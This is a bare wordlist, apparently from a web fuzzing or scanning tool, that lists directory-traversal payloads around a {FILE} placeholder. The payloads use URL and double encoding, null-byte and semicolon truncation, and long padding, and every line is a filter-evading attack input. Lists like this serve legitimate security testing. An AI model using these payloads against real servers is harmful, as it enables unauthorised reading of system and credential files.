.\\..\\..\\..\\..\\..\\..\\{FILE}%00index.html\r\n..\\..\\..\\..\\..\\..\\..\\..\\{FILE}%00index.html\r\n..%5c{FILE}%00index.html\r\n..%5c..%5c{FILE}%00index.html\r\n..%5c..%5c..%5c{FILE}%00index.html\r\n..%5c..%5c..%5c..%5c{FILE}%00index.html\r\n..%5c..%5c..%5c..%5c..%5c{FILE}%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c{FILE}%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}%00index.html\r\n%2e%2e\\{FILE}%00index.html\r\n%2e%2e\\%2e%2e\\{FILE}%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\{FILE}%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}%00index.html\r\n%2e%2e%5c{FILE}%00index.html\r\n%2e%2e%5c%2e%2e%5c{FILE}%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}%00index.html\r\n..%255c{FILE}%00index.html\r\n..%255c..%255c{FILE}%00index.html\r\n..%255c..%255c..%255c{FILE}%00index.html\r\n..%255c..%255c..%255c..%255c{FILE}%00index.html\r\n..%255c..%255c..%255c..%255c..%255c{FILE}%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c{FILE}%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}%00index.html\r\n%252e%252e\\{FILE}%00index.html\r\n%252e%252e\\%252e%252e\\{FILE}%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\{FILE}%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}%00index.html\r\n%252e%252e%255c{FILE}%00index.html\r\n%252e%252e%255c%252e%252e%255c{FILE}%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}%00index.html\r\n../{FILE};index.html\r\n../../{FILE};index.html\r\n../../../{FILE};index.html\r\n../../../../{FILE};index.html\r\n../../../../../{FILE};index.html\r\n../../../../../../{FILE};index.html\r\n../../../../../../../{FILE};index.html\r\n../../../../../../../../{FILE};index.html\r\n..%2f{FILE};index.html\r\n..%2f..%2f{FILE};index.html\r\n..%2f..%2f..%2f{FILE};index.html\r\n..%2f..%2f..%2f..%2f{FILE};index.html\r\n..%2f..%2f..%2f..%2f..%2f{FILE};index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html\r\n%2e%2e/{FILE};index.html\r\n%2e%2e/%2e%2e/{FILE};index.html\r\n%2e%2e/%2e%2e/%2e%2e/{FILE};index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html\r\n%2e%2e%2f{FILE};index.html\r\n%2e%2e%2f%2e%2e%2f{FILE};index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html\r\n..%252f{FILE};index.html\r\n..%252f..%252f{FILE};index.html\r\n..%252f..%252f..%252f{FILE};index.html\r\n..%252f..%252f..%252f..%252f{FILE};index.html\r\n..%252f..%252f..%252f..%252f..%252f{FILE};index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f{FILE};index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE};index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE};index.html\r\n%252e%252e/{FILE};index.html\r\n%252e%252e/%252e%252e/{FILE};index.html\r\n%252e%252e/%252e%252e/%252e%252e/{FILE};index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html\r\n%252e%252e%252f{FILE};index.html\r\n%252e%252e%252f%252e%252e%252f{FILE};index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html\r\n..\\{FILE};index.html\r\n..\\..\\{FILE};index.html\r\n..\\..\\..\\{FILE};index.html\r\n..\\..\\..\\..\\{FILE};index.html\r\n..\\..\\..\\..\\..\\{FILE};index.html\r\n..\\..\\..\\..\\..\\..\\{FILE};index.html\r\n..\\..\\..\\..\\..\\..\\..\\{FILE};index.html\r\n..\\..\\..\\..\\..\\..\\..\\..\\{FILE};index.html\r\n..%5c{FILE};index.html\r\n..%5c..%5c{FILE};index.html\r\n..%5c..%5c..%5c{FILE};index.html\r\n..%5c..%5c..%5c..%5c{FILE};index.html\r\n..%5c..%5c..%5c..%5c..%5c{FILE};index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c{FILE};index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE};index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE};index.html\r\n%2e%2e\\{FILE};index.html\r\n%2e%2e\\%2e%2e\\{FILE};index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\{FILE};index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE};index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE};index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE};index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE};index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE};index.html\r\n%2e%2e%5c{FILE};index.html\r\n%2e%2e%5c%2e%2e%5c{FILE};index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html\r\n..%255c{FILE};index.html\r\n..%255c..%255c{FILE};index.html\r\n..%255c..%255c..%255c{FILE};index.html\r\n..%255c..%255c..%255c..%255c{FILE};index.html\r\n..%255c..%255c..%255c..%255c..%255c{FILE};index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c{FILE};index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE};index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE};index.html\r\n%252e%252e\\{FILE};index.html\r\n%252e%252e\\%252e%252e\\{FILE};index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\{FILE};index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE};index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE};index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE};index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE};index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE};index.html\r\n%252e%252e%255c{FILE};index.html\r\n%252e%252e%255c%252e%252e%255c{FILE};index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html\r\n\\../{FILE}\r\n\\../\\../{FILE}\r\n\\../\\../\\../{FILE}\r\n\\../\\../\\../\\../{FILE}\r\n\\../\\../\\../\\../\\../{FILE}\r\n\\../\\../\\../\\../\\../\\../{FILE}\r\n\\../\\../\\../\\../\\../\\../\\../{FILE}\r\n\\../\\../\\../\\../\\../\\../\\../\\../{FILE}\r\n/..\\{FILE}\r\n/..\\/..\\{FILE}\r\n/..\\/..\\/..\\{FILE}\r\n/..\\/..\\/..\\/..\\{FILE}\r\n/..\\/..\\/..\\/..\\/..\\{FILE}\r\n/..\\/..\\/..\\/..\\/..\\/..\\{FILE}\r\n/..\\/..\\/..\\/..\\/..\\/..\\/..\\{FILE}\r\n/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA